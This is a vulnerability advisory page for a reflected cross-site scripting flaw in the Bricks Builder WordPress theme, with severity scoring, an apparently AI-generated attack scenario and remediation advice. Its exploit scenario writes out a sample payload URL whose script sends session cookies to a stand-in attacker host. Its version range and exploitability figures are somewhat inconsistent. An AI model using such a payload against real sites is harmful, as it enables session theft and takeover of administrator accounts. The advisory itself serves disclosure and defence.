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Bricks Builder CVE-2026-41554

| EUVDEUVD-2026-28369 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-05-07 Patchstack GHSA-w6wq-7556-p56p
7.1
CVSS 3.1 · Vendor: Patchstack
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft XSS payload URL
  2. Delivery
    Deliver via phishing email
  3. Exploit
    Victim clicks link
  4. Execution
    Script executes in admin context
  5. Persist
    Steal session tokens
  6. Impact
    Access WordPress backend

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the victim to be using a vulnerable version of Bricks Builder (through 1.9.2 to 2.2) and to click a specially crafted malicious link while browsing with an active browser session. Attack success depends on social engineering effectiveness in convincing targets to follow attacker-supplied URLs, typically targeting WordPress administrators or content editors who have elevated privileges within the CMS. The reflected XSS occurs when Bricks Builder processes specific URL parameters or form inputs without proper output encoding during page generation. Exploitation is limited by the need for user interaction (CVSS UI:R) - automated scanning cannot trigger the vulnerability without victim involvement. Organizations with security awareness training, email filtering that detects suspicious links, or browser extensions that block reflected XSS may see reduced exploitation success rates. Sites implementing strict Content Security Policy headers will limit post-exploitation impact even if the XSS payload executes.

Impact

CVSS 7.1 (High) with changed scope (S:C) indicates the vulnerability can affect resources beyond the vulnerable component's security scope, potentially allowing session token theft or actions on behalf of authenticated WordPress administrators. However, real-world exploitation risk is moderated by the required user interaction (UI:R) - attackers must convince victims to click crafted links, typically via phishing emails or compromised websites. The network vector (AV:N) and no required privileges (PR:N) lower the attack barrier once social engineering succeeds. No CISA KEV listing or confirmed active exploitation reduces immediate urgency compared to vulnerabilities with observed in-the-wild abuse. Patchstack disclosure indicates security research validation but not mass exploitation. Organizations using Bricks Builder face elevated risk if their WordPress administrators or content editors are accessible to phishing campaigns, or if the theme is used on high-value targets where XSS can facilitate account takeover, data exfiltration, or further pivot into backend systems. Prioritization should factor site exposure, user privilege levels, and defense-in-depth controls like Content Security Policy headers that can mitigate XSS impact even when vulnerabilities exist.

Exploit ScenarioDerived

An attacker identifies a Bricks Builder theme input field or URL parameter that reflects unsanitized content into the page response. They craft a malicious URL embedding JavaScript payloads (e.g., https://victim-site.com/?bricks_param=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>) and distribute it via phishing email claiming to be a WordPress security update notification or password reset link. When a site administrator clicks the link while authenticated to their WordPress dashboard, the malicious script executes in their browser context with their session privileges, exfiltrating session cookies to the attacker-controlled server. The attacker then uses stolen credentials to log into WordPress admin panel, install backdoor plugins, or modify site content. Patchstack disclosure suggests proof-of-concept demonstration exists within security research community.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.0% exploitation probability (EPSS)

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AnalysisAIv1 – May 07, 2026

Reflected cross-site scripting in Bricks Builder WordPress theme through version 1.9.2 to 2.2 enables remote attackers to execute malicious JavaScript in victim browsers by crafting URLs with unsanitized input that gets reflected into generated web pages without proper encoding. Exploitation requires victim interaction (clicking a malicious link) but no authentication, making phishing and social engineering viable delivery methods. EPSS and KEV data not available; no public exploit confirmed at time of analysis, though Patchstack disclosure suggests security researchers have demonstrated the vulnerability.

RemediationAI

Upgrade Bricks Builder to the latest version available from the vendor that addresses CVE-2026-41554. Consult the Patchstack advisory at https://patchstack.com/database/wordpress/theme/bricks/vulnerability/wordpress-bricks-builder-theme-1-9-2-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve for patch confirmation and specific fixed version number, as the CVE data does not specify the exact patched release. Until patching is complete, implement compensating controls including Content Security Policy (CSP) headers with strict script-src directives to prevent inline JavaScript execution (note: may break legitimate theme functionality requiring inline scripts), Web Application Firewall (WAF) rules to detect and block XSS patterns in URL parameters and form submissions (trade-off: potential false positives requiring tuning), and user awareness training to recognize phishing attempts delivering malicious links. Restrict WordPress admin access to trusted networks via IP allowlisting or VPN if operationally feasible, reducing exposure surface for social engineering. Verify CSP implementation does not disable security protections through overly permissive 'unsafe-inline' or 'unsafe-eval' directives.

Affected VersionsENISA

Bricks Builder 1.9.2 ≤2.2

Affected Packages

euvd bricks_builder no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Bricks Builder is a visual site builder theme for WordPress (CPE: cpe:2.3:a:bricks:bricks_builder). This vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation), where user-supplied input from URL parameters or form fields is incorporated into dynamically generated HTML responses without proper sanitization or output encoding. Reflected XSS differs from stored XSS in that the malicious payload is not persisted server-side but instead bounced back from the server in the immediate response. The affected version range spans from unspecified early versions through 1.9.2 up to version 2.2, suggesting a longstanding input handling deficiency in the theme's rendering logic. WordPress themes with visual builders often process complex query parameters to render preview states or dynamic content, creating multiple potential injection points if input validation is insufficient.

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Severity by source

Vendor (Patchstack) PRIMARY 7.1 HIGH
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Primary rating from Vendor (Patchstack) · only source for this CVE.

CVSS VectorVendor: Patchstack

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
Low

DescriptionCVE.org

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Bricks Builder allows Reflected XSS.

This issue affects Bricks Builder: from n/a through 1.9.2 to 2.2.

Executive ViewAI

Why It Matters

Bricks Builder WordPress theme versions 1.9.2 through 2.2 contain a reflected cross-site scripting (XSS) vulnerability that allows attackers to execute arbitrary JavaScript in users' browsers through malicious links, potentially compromising administrator credentials, session tokens, and site data without requiring authentication. Organizations using this theme face phishing risk targeting staff and customers; successful exploitation could lead to unauthorized administrative access or data theft.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) disable Bricks Builder theme and revert to alternative theme; (2) implement WAF rules blocking common XSS payloads in query strings; (3) enforce Content Security Policy (CSP) headers to restrict inline script execution; (4) conduct phishing awareness training to reduce user susceptibility to malicious link clicks; (5) monitor security advisories from Patchstack and Bricks Builder developers for patch availability and apply immediately upon release.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

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